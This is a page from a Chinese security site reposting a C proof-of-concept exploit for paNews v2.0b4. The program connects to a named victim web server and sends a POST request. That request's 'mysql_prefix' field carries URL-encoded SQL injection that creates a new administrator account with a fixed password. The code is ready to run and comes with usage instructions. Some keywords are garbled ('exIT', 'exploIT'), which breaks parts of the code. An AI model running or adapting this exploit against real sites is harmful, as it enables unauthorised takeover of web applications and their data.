您现在的位置: 捷凌网安 >> 编程语言 >> Exploite >> 正文
paNews v2.0b4 Remote SQL Injection Proof of Concept Exploit

作者:佚名 责任编辑:左决 点击数: 更新时间:2008-2-16 6:57:03

以下是引用片段:
 

/***************************************************
*
* paNews v2.0b4
*
* silePNEWSxpl
* This exploIT utilize SQL injection for create
* a new user wITh admin privileges on paNews
* software system.
*
* References:
* packetstormsecurity.org/0503-exploITs/panews.txt
*
*
* coded by: Silentium of Anacron Group ITaly
* date: 04/03/2005
* e-mail: anacrongroupITaly[at]autistici[dot]org
* my_home: [url]www.autistici.org/anacron-group-ITaly[/url]
*
* this tool is developed under GPL license
* no(c) .:. copyleft
*
***************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 80 // port of the web server

void info(void);
void sendxpl(int sock, char *argv[]);
void errsock(void);
void errgeth(void);
void errconn(void);


int main(int argc, char *argv[]){

int sock, sockconn;
struct sockaddr_in addr;
struct hostent *hp;

if(argc!=4)
info();

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
errsock();

system("clear");
printf("[*] Creating socket [OK]\n");

if((hp = gethostbyname(argv[1])) == NULL)
errgeth();

printf("[*] Resolving victim host [OK]\n");

memset(&addr,0,sizeof(addr));
memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);

sockconn = connect(sock,(struct sockaddr *)&addr,sizeof(addr));
if(sockconn < 0)
errsock();

printf("[*] Connecting at victim host [OK]\n");

sendxpl(sock, argv);

printf("[*] Now check on\n"
" [url]http://%s%s[/url]\n\n"
" your username: %s\n"
" wITh password: anacron\n\n",argv[1],argv[2],argv[3]);

shutdown(sock, 2);
close(sock);

return(0);

}


void info(void){

system("clear");
printf("#########################################\n"
"# paNews v2.0b4 exploIT #\n"
"#########################################\n"
"# this exploIT create a new user admin #\n"
"# on paNews software system. #\n"
"# exploIT coded by Silentium #\n"
"# Anacron Group ITaly #\n"
"# [url]www.autistici.org/anacron-group-ITaly[/url] #\n"
"#########################################\n\n"
"[usage]\n\n"
" silePNEWSxpl <victim> <path_paNews> <username>\n\n"
"[example]\n\n"
" silePNEWSxpl [url]www.victim.com[/url] /panews/index.php silentium\n\n");
exIT(1);

}


void sendxpl(int sock, char *argv[]){

FILE *out;
int size = 264;
out = fdopen(sock,"a");
setbuf(out,NULL);

size+=(strlen(argv[3]) * 2);

fprintf(out,"POST %s HTTP/1.0\n"
"Connection: Keep-Alive\n"
"Pragma: no-cache\n"
"Cache-control: no-cache\n"
"Accept: text/html, image/jpeg, image/png, text/*, image/*,
*/*\n"
"Accept-Encoding: x-gzip, x-deflate, gzip, deflate,
identITy\n"
"Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5\n"
"Accept-Language: en\n"
"Host: %s\n"
"Referer: [url]http://%s%s[/url]\n"
"Content-Type: application/x-www-form-urlencoded\n"
"Content-Length: %d\n\n"

"action%%3Dlogin%%26username%%3D%s%%26password%%3Danacron%%26"

"mysql_prefix%%3Dpanews_auth%%60%%20VALUES%%20(%%22%%22,%%22"
"%s%%22,%%22f63140655b379e65f6cd87fa3c3da631%%22,%%22"

"hackit%%22,%%22admins%%7Ccat%%7Ccomment%%7Cnewsadd%%7CnewsedIT"
"%%7Cprefset%%7Csetup%%22,%%22none%%22,%%22127.0.0.1%%22"

",1,1)%%00\n\n",argv[2],argv[1],argv[1],argv[2],size,argv[3],argv[3]);

printf("[*] Sending exploIT [OK]\n\n");

}


void errsock(void){

system("clear");
printf("[x] Creating socket [FAILED]\n\n");
exIT(1);

}


void errgeth(void){

printf("[x] Resolving victim host [FAILED]\n\n");
exIT(1);

}


void errconn(void){

printf("[x] Connecting at victim host [FAILED]\n\n");
exIT(1);

}

  • 上一篇文章:

  • 下一篇文章:
  •  
    最进更新
    普通文章VC++设计超强仿QQ自动伸缩窗04-17
    推荐文章基于HOOK和MMF的Win密码渗透04-17
    推荐文章几种VC++数据库开发技术的相04-17
    普通文章多线程、Socket技术及委托技04-11
    推荐文章VB.Net连接各种数据库的几种04-11
    普通文章VB.NET中的多窗体编程:升级04-11
    普通文章用VB.NET定制Windows控件04-11
    普通文章VB.NET中监视文件夹的变化04-11
    普通文章VB.NET中对象的克隆04-11
    推荐文章VB.NET中的TextBox控件详解04-11
     
    推荐文章
    推荐文章基于HOOK和MMF的Win密码渗透04-17
    推荐文章几种VC++数据库开发技术的相04-17
    推荐文章VB.Net连接各种数据库的几种04-11
    推荐文章VB.NET中的TextBox控件详解04-11
    推荐文章在VB.NET中进行抓屏04-11
    推荐文章VB.Net开发的长内容自动分页04-11
    推荐文章VB.NET中快速访问注册表技巧04-11
    推荐文章PHP5手动最简安装方法03-07
    推荐文章完全讲解PHP+MySQL的分页显示03-07
    推荐文章Linux Shell元字符知识笔记02-21
     
    热点文章 
    普通文章VC++设计超强仿QQ自动伸缩窗04-17
    推荐文章基于HOOK和MMF的Win密码渗透04-17
    推荐文章几种VC++数据库开发技术的相04-17
    普通文章VB.NET中的多窗体编程:升级04-11
    普通文章用VB.NET定制Windows控件04-11
    普通文章VB.NET中对象的克隆04-11
    推荐文章VB.NET中的TextBox控件详解04-11
    普通文章VB/VB.NET/C#导出到Excel的方04-11
    普通文章如何通过VB.NET获取网卡地址04-11
    普通文章VB.NET中使用ListView控件的04-11

    | 设为首页 | 加入收藏 | 联系站长 | 广告服务 | 友情链接 | 版权申明 | 网站地图 |

    在线交流 捷凌网安主群:51649627
    Copyright 2007-2008 © 捷凌网安. All rights reserved.
    备案序号:蜀ICP备08001812号